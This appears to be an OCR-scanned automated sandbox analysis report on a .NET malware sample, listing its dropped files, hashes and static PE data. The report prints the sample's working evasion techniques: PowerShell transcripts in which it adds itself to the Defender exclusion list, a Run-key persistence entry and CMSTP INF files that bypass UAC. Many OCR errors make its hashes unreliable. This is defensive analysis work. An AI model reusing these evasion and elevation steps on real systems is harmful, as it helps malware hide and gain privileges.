Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b1bbd3cd1f3dc3f C:\Program Files\Common Fi
les\System\9f3df393cbbd19b\svchost.exe
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Dropped Files

@ No context

Created / dropped Files

C:\Program Files\Common Files\system\9f3df393cbbd19b\svchost.exe v @

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Users\user\Desktop\SecuriteInfo.com.Variant. Tedy.122593.7296.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

1094656

6.67191077888032

false
24576:9C1ZwhG65SQItalVPSZCxqGilMJIItT92SNHaYCTZm:9C1ZwhG65S07RXJIB2SghZm
A3F9DB216C595BBB5081AD0430248975
E06A7DA7340E4E27D9737E58554AB4419116A0E2
647C540FE4C9F3DC5A06C978FF0644905B07A53517E637F674A089F866A135D0

3A6EB7AAC3AFED0438D1005F4534CC9A45B6697B8C0C266D1FAE1B32CF84CD15726A005FC707FF2500F8B2BCO45EA7EC20C715EFEB4211E6B4B33D6C1AFAS
6A5

true

e Antivirus: Virustotal, Detection: 28%, Browse
e Antivirus: ReversingLabs, Detection: 30%

unknown

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\Usagelogs\Securitelnfo.com.Variant.Tedy.122593.7296.exe.log @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\SecuriteInfo.com.Variant. Tedy.122593.7296.exe

ASCII text, with CRLF line terminators

dropped

1308

5.345811588615766

false
24:MLUB4JE4K5E4Ks2E1qE4FsXE4gXKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4Kzr7FE8:MgvjHK5HKXE1gHAHIYHKhQnoPtHoxHhb
822F42D0775EDEA7732AF57A553E2995

33A1A12F5ACA6B47CB030413BA0DDA7B63B64099
D236070B5D5858D2161518BF3534080FA22A28FB1F6D8E44F93FA3C15E3397F2

A40F1BCF9B4039A240E07555C36D0EC91D5A857FIE85D1F26BCCFB84ED6C235255B7B282D62C11DB7B0A8D203D24DEFAD709ECDBDFCBCF1C5D1E2CC14D9t
200F

true
unknown

1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a",0..2,"System.Windows.For
ms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

" "C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3eOba98b5ebddbbc72e6\System.ni.dll*,0..2,"System.Drawing, Version=4.0.0.0, Cultur
e=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60
ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a","C:\Windows\assembly
\Nativelmages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.C

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\Usagelogs\svchost.exe.log

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Program Files\Common Files\system\9f3df393cbbd19b\svchost.exe
ASCII text, with CRLF line terminators

dropped

1308

5.345811588615766

false

24:MLUB4JE4K5E4Ks2E1qE4FsXE4qXKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4Kzr7FE8:MgVjHK5SHKXE1gHAHIYHKhQnoPtHoxHhb
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https://www.virustotal.com/gui/file/647c540fe4c9f3dc5a06c978ff0644905b07a53517e637f674a089f866a135d0/detection/f-647c540fe4c9f3dc5a06c978ff0644905b07a53517e637f674a089f866a135d0-1653071793

MD5: 822F42D0775EDEA7732AF57A553E2995

SHA1L: 33A1A12F5ACA6B47CB030413BA0DDA7B63B64099

SHA-256: D236070B5D5858D2161518BF3534080FA22A28FB1F6D8E44F93FA3C15E3397F2

SHA-512: A40F1BCF9B4039A240E07555C36DOECI1D5A857FIE85D1F26BCCFBB4ED6C235255B7B282D62C11DB7B0A8D203D24DEF4D709ECDBDFCBCF1C5D1E2CC14D9t
200F

Malicious: false

Reputation: unknown

Preview: 1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKkeyToken=b03f5{7f11d50a3a",0..2,"System.Windows.For

ms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

" "C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll*,0..2,"System.Drawing, Version=4.0.0.0, Cultur
e=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60
ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a","C:\Windows\assembly
\Nativelmages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.C

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Nonlinteractive

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 22128

Entropy (8bit):  5.604672074521572

Encrypted: false

SSDEEP: 384:4tMjDLgOUQcpIwdOVNP]IISONEjultitSLY9gkSJI3xuT1IMRNZIgRV723Dq5ZBDIm:38h+dSHTECItSKkckCdfY7Vh

MD5: 885A8D443BESBEFF942D332D642DB5FA

SHA1L: 05C2FC62277CE076EDCBOFDA013B08FE57BB05D3

SHA-256: F8893E8BE667D50BA7FE8FI1FIF2D803D6C3D6601E6074083C27C7B6DAASBFD3

SHA-512: 5E0208E44DF8D37C87F7CFABED3D045A5853DACFE1328F0B4F5BF5595D4FCD23E42B63F2F8125DF85509327EB1DFE268D1124BBA7301ABF2B96BFA3FCOCA4/
74

Malicious: false

Reputation: unknown

Preview: @...e....... U....... hod Xeenne. Lo @......... Hooi <@./.L."My...:...... .Microsoft.PowerShell.ConsoleHostD............... fZve..F...X.)........ System.Managemen
t.Automation4............... [..{a.C..%6..h......... System.Core.0. System..L.....ccco.e. 7..3@.....~....... #.Microsoft. Management.Infrastructure.8..
.............. "..L.}oo.....System.Numerics.4................2g5..:0..9..q..........System. Xml..@................L0...QN......<Q........System.DirectoryServices<...............H..QN.Y f.......

............. ].D.E....#......System.Data.H..... .H..m)aUu.........Microsoft.PowerShell.Security...<..............~[L.D.Z.>.m.........Sy

:gK..G...$.1.q........System.ConfigurationP C..J..%...].......%.Microsoft.PowerShell. Commands. Utility...D .D.F.<;.nt.1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_imah35ms.0df.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FI9BD058A12A280433ED6FA4651
0A

Malicious: false

Reputation: unknown

Preview: 1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n50ivrfk.ipd.psm1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false
SSDEEP: 3:U:U
MDS5: C4CA4238A0B923820DCC509A6F75849B
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SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFEB4C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433EDEFA4651
0A

Malicious: false

Reputation: unknown

Preview: 1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_suShum5r.0ed.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:UU

MDS5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBIDFEB4C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FOBD058A12A280433EDEFA4651
0A

Malicious: false

Reputation: unknown

Preview: 1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uaqixle3.05n.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

SHA-512: 4ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FI9BD058A12A280433ED6FA4651
0A

Malicious: false

Reputation: unknown

Preview: 1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wscg0fwl.uj4.psm1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EEL172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
0A

Malicious: false

Reputation: unknown

Preview: 1
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C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmo5ir42.5nw.psm1

Process:
File Type:
Category:

Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FOBD058A12A280433ED6FA4651
0A

false
unknown

1

C:\Users\user\AppData\Roaming\DO6ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat @

Process:
File Type:
Category:

Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\SecuriteInfo.com.Variant. Tedy.122593.7296.exe

data

dropped

8

3.0

false

3:RyLIn:UZn

051FC729666B95F740B385FD3E5FIFAD
28CA11455775E2C83FC17C2EAE615A8D2B201791
09A50087C2D2E84D529042FDCBB2598916BBE2AAO0B3BIC76C303D2A3303AC3B

93C9D48FD7D0D50C85438ED2B5B426195EB8A23695C17BC7035643E79A26D0OC3AE97ACBA9369F268F17884F05CB0297EBD618B13D3EE42304AC94E3B61A8BE2T
A

true
unknown

H

C:\Users\user\Documents\20220521\PowerShell_transcript.932923.6StRbMiQ.20220521015018.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

3608

5.320088135840596

false

96:BZ6hoNOmMgD01ZnC9ZmhoNOmMD01Z6qr30c30c30aZR:22DMrrR
8465BFO6F0A8BE9DF17B659DDD5F9116B
53EF5D52F61A75FE23695337090EB6D18FAGEGED
99FA864541ED790666B1FF4F810070B6E3F7736CC64EBD18A4543AF8C632F794
DB40E69571422483DBESAS32ED4ASE7E708CBBDCD45B4030FDDA44921132361C5A9524015E5E4791871B9DBF17F5A8A9412602FEC273A57EDFIB89F8037C331
false

unknown

ekl Windows PowerShell transcript start..Start time: 20220521015020..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 932923 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe -Force..Process ID: 6668..PSVersion: 5.1.17134.1..PSEdition: Desktop..
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolV
ersion: 2.3..SerializationVersion: 1.1.0.1.. ..Command start time: 20220521015020. . *****¥itkkiikiirkiir: PS>Add-MpPreference -
ExclusionPath C:\Program Files\Common F||es\System\9f3df393cbbd19b\svchost exe -Force. . Frikrrkkiskiisik . Command start time: 20220521015253.  ** ik
Frkkkkkk PS>TerminatingErro

C:\Users\user\Documents\20220521\PowerShell_transcript.932923.Pdw7Jo_f.20220521015022.txt

Process:
File Type:
Category:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped
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Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

5909

5.39317288748943

false

96:BZghoNPgDo1ZkZ4hoNPgDol1ZHga4jZahoNPqD01Zk900XZQ:x
DD5C8547339C0CD1E40D498883AFAC84
B42DEDD4CC458B2419D615DA23871801E7DC73B4
E3A47EECEF409DB6EE46FCB49E8C71AB69932B306DE9DBBCSEC7817E2F8DE053

CDB026A432B146ED1832CC8D049D27D688F1362E72B71D97D9BC3093F5F7270ACCOA9496EBA3DC3C49978C235DB3CAB0731E6D02308FA745A0FA156D29AE4€
E

false
unknown

ek \Windows PowerShell transcript start..Start time: 20220521015026..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 932923 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\user\Desktop\Securitelnfo.com.Variant. Tedy.122593.7296.exe -Force..Process ID: 6748..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompa
tibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion:
2.3..SerializationVersion: 1.1.0.1.. ..Command start time: 20220521015026. . ******ikxiiixsiixsixx PS>Add-MpPreference -Excl
usionPath C:\Users\user\Desktop\Securitelnfo.com. Vanant Tedy.122593.7296.exe -Force. ket \\indows PowerShell transcript start..Start time: 2
0220521015400..Usern

C:\Users\user\Documents\20220521\PowerShell_transcript.932923.wWn7rszs.20220521015019.txt

Process:
File Type:
Category:

Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

3608

5.318791879313279

false

96:BZ7hoNOMgD01ZQj9ZhhoNOMqD01ZIqr30c30c¢30GZh:1Pnorr9
2690B444DE14C4079FCC50AFE98169B2
5181D12B13FBECBE1F11D6ESEC548A2E15C32077
C9487C8D81D10E3530764D29024A79772BD3A54419C3B7589A9086E6614B7E3F

27910AFC35534EC2BE3EAEA8F6AD1439B8E72D16D1529B4CAC497535F79FAAG06469340D61EC75C4A56B1D818A49C1D176EBI5A01F83D65614F4F14D012D83E
A

false
unknown

ek \Windows PowerShell transcript start..Start time: 20220521015021..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 932923 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe -Force..Process ID: 6688..PSVersion: 5.1.17134.1..PSEdition: Desktop..
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolV
ersion: 2.3..SerializationVersion: 1.1.0.1.. ..Command start time: 20220521015021. ***#*wkikiriiiririnix pS>Add-MpPreference -
ExclusionPath C:\Program Files\Common FlIes\System\9f3df393cbbd19b\svchost exe -Force. . *rtkikkikiaiiaiiik Command start time: 20220521015250.  *#x##iix
Fxkkxkk PS>TerminatingErro

C:\Windows\Temp\axo2mpum.inf @

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Yara Hits:
Reputation:

Preview:

C:\Program Files\Common Files\system\9f3df393cbbd19b\svchost.exe

Windows setup INFormation, ASCII text, with CRLF line terminators

dropped

0

0.0

false
12:0SBz03qrc3hcl3Cur0A+MhBU/OVWEQBS50JBJfAV[K/jqJI9tXhcVHWv:04zOX/CABEONbI4VA/uJIH+VQvV
OFCEC28AEADF4493778663E1C5DCAEB6G

DB8014C822C15B6B8BB57BC157345DBD29BF3CF4
7TE595A6555586D68D5C22B38A534381465ACC3567DA7052A8F2280885A9BD881

42B6A715277F0221DOAEFOFC9C270CC0O592EE940AC35215A6B0DA7D4B576F7EE26CEA98D106CEOAEEA14E3F82EB938985A12F314E1DD772FBE33065E9DCB1!
32

true
e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: C:\Windows\Temp\axo2mpum.inf, Author: Joe Security
unknown

[version]..Signature=$chicago$..AdvancedINF=2.5....[Defaultinstall].. CustomDestination=CustInstDestSectionAllUsers..RunPreSetupCommands=RunPreSetupCom
mandsSection....[RunPreSetupCommandsSection]..; Commands Here will be run Before Setup Begins to install..C:\Program Files\Common Files\System\9f3df39
3cbbd19b\svchost.exe..taskkill /IM cmstp.exe /F....[CustinstDestSectionAllUsers]..49000,49001=AllUSer_LDIDSection, 7....[AllUSer_LDIDSection].."HKLM", "SOFTWARE
\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfilelnstallPath”, "%UnexpectedError%", "....[Strings]..ServiceName="CorpVPN"..ShortSvcN
ame="CorpVPN"....

C:\Windows\Temp\hhhnfOtr.inf €
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Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Yara Hits:
Reputation:

Preview:

C:\Program Files\Common Files\system\9f3df393cbbd19b\svchost.exe

Windows setup INFormation, ASCII text, with CRLF line terminators

dropped

627

5.398645960574881

false

12:0SBz03qrc3hcl3Cur0A+MhBU/OVVEQB50JBJIfAV]k/jqJI9tXhcVHWv: 04zOX/ICABEONDI4VA/UJIH+VQv
OFCEC28AEADF4493778663E1C5DCAEB6G

DB8014C822C15B6B8BB57BC157345DBD29BF3CF4
7E595A6555586D68D5C22B38A534381465ACC3567DA7052A8F2280885A9BD881

42B6A715277F0221D0AEFOFC9C270CC0592EE940AC35215A6B0DA7D4B576F7EE26CEA98D106 CEOAEEA14E3F82EB938985A12F314E1DD772FBE33065E9DCB1!
32

true
e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: C:\Windows\Temp\hhhnfOtr.inf, Author: Joe Security
unknown

[version]..Signature=$chicago$..AdvancedINF=2.5....[Defaultinstall]..CustomDestination=CustInstDestSectionAllUsers..RunPreSetupCommands=RunPreSetupCom
mandsSection....[RunPreSetupCommandsSection]..; Commands Here will be run Before Setup Begins to install..C:\Program Files\Common Files\System\9f3df39
3cbbd19b\svchost.exe..taskkill /IM cmstp.exe /F....[CustinstDestSectionAllUsers]..49000,49001=AllUSer_LDIDSection, 7....[AllUSer_LDIDSection].."HKLM", "SOFTWARE
\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfilelnstallPath”, "%UnexpectedError%", "....[Strings]..ServiceName="CorpVPN"..ShortSvcN
ame="CorpVPN"....

C:\Windows\Temp\jcxcOkzm.inf @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Yara Hits:
Reputation:

Preview:

C:\Program Files\Common Files\system\9f3df393cbbd19b\svchost.exe

Windows setup INFormation, ASCII text, with CRLF line terminators

dropped

0

0.0

false
12:0SBz03qrc3hcl3Cur0A+MhBU/OVVEQB50JBJIfAVjk/jqJI9tXhcVHWv:04zOX/CABEONDI4VA/UJIH+VQv
OFCEC28AEADF4493778663E1C5DCAEB6

DB8014C822C15B6B8BB57BC157345DBD29BF3CF4
7E595A6555586D68D5C22B38A534381465ACC3567DA7052A8F2280885A9BD881

42B6A715277F0221D0AEFOFC9C270CC0592EE940AC35215A6B0DA7D4B576F7EE26CEA98D106CEOAEEA14E3F82EB938985A12F314E1DD772FBE33065E9DCB1!
32

true
e Rule: JoeSecurity_ UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: C:\Windows\Temp\jcxcOkzm.inf, Author: Joe Security
unknown

[version]..Signature=$chicago$..AdvancedINF=2.5....[Defaultinstall].. CustomDestination=CustInstDestSectionAllUsers..RunPreSetupCommands=RunPreSetupCom
mandsSection....[RunPreSetupCommandsSection]..; Commands Here will be run Before Setup Begins to install..C:\Program Files\Common Files\System\9f3df39
3cbbd19b\svchost.exe..taskkill /IM cmstp.exe /F....[CustinstDestSectionAllUsers]..49000,49001=AllUSer_LDIDSection, 7....[AllUSer_LDIDSection].."HKLM", "SOFTWARE
\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath”, "%UnexpectedError%", "....[Strings]..ServiceName="CorpVPN"..ShortSvcN
ame="CorpVPN"....

C:\Windows\Temp\y5zio4ie.inf €3

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Yara Hits:
Reputation:

Preview:

C:\Program Files\Common Files\system\9f3df393cbbd19b\svchost.exe

Windows setup INFormation, ASCII text, with CRLF line terminators

dropped

627

5.398645960574881

false
12:0SBz03qrc3hcl3Cur0A+MhBU/OVWEQB50JBJfAV[K/jqJI9tXhcVHWv:04zOX/CABEONbI4VA/uJIH+VQvV
OFCEC28AEADF4493778663E1C5DCAEB6G

DB8014C822C15B6B8BB57BC157345DBD29BF3CF4
7TE595A6555586D68D5C22B38A534381465ACC3567DA7052A8F2280885A9BD881

42B6A715277F0221DOAEFOFC9C270CC0592EE940AC35215A6B0DA7DA4B576F7EE26CEA98D106CEOAEEA14E3F82EB938985A12F314E1DD772FBE33065E9DCB1!
32

true
e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: C:\Windows\Temp\y5zio4ie.inf, Author: Joe Security
unknown

[version]..Signature=$chicago$..AdvancedINF=2.5....[Defaultinstall].. CustomDestination=CustInstDestSectionAllUsers..RunPreSetupCommands=RunPreSetupCom
mandsSection....[RunPreSetupCommandsSection]..; Commands Here will be run Before Setup Begins to install..C:\Program Files\Common Files\System\9f3df39
3cbbd19b\svchost.exe..taskkill /IM cmstp.exe /F....[CustinstDestSectionAllUsers]..49000,49001=AllUSer_LDIDSection, 7....[AllUSer_LDIDSection].."HKLM", "SOFTWARE
\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%" ..[Strings]..ServiceName="CorpVPN"..ShortSvcN
ame="CorpVPN"....
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Static File Info

General

File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Entropy (8bit):  6.67191077888032

TriD: e Win32 Executable (generic) Net Framework (10011505/4) 49.83%
e Win32 Executable (generic) a (10002005/4) 49.78%
e Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
e Generic Win/DOS Executable (2004/3) 0.01%
e DOS Executable Generic (2002/1) 0.01%
File name: Securitelnfo.com.Variant. Tedy.122593.7296.exe
File size: 1094656
MD5: a3f9db216c595bbb5081ad0430248975
SHAL: e06a7da7340e4e27d9737e58554ab4419116a0e2
SHA256: 647c540fe4c9f3dc5a06c978ff0644905b07a53517e637f674a089f866a135d0
SHA512: 3abeb7aac3afed0438d1005f4534cc9a45b6697b8c0c266d1faelb32cf84cd15726a005fc707ff2500f8b2bc045ea7ec20c715efeb4211e6b4b33d6clafab56a5
SSDEEP: 24576:9C1ZwhG65SQltalVPjSZCxqGilMIItT92SNHaYCTZm:9C1ZwhG65S07RXJIB2SghZm
TLSH: 4835DF01B688C534C2EE3A3AD7E758410BB15D538FA1DA49768EB6C12833913BE1776F
File Content MZ..oiiiie @i 1..L.IThis program cannot be run in DOS mode....$....... PE..L..zgR............ 0.B........... <(ew e @....@.. oo
Preview: ... BT TP
File lcon
W
Icon Hash: dc95d5chcadad680
Static PE Info
General
Entrypoint: Ox4e283c
Entrypoint Section: text
Digitally signed: false
Imagebase: 0x400000
Subsystem: windows gui
Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp: 0x52678B7A [Wed Oct 23 08:40:26 2013 UTC]
TLS Callbacks:
CLR (.Net) Version: v4.0.30319
OS Version Major: 4
OS Version Minor: 0
File Version Major: 4
File Version Minor: 0
Subsystem Version Major: 4
Subsystem Version Minor: 0
Import Hash: f34d5f2d4577ed6d9ceec516¢c1f5a744

Entrypoint Preview
Instruction

jmp dword ptr [00402000h]
add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al
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Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
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Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
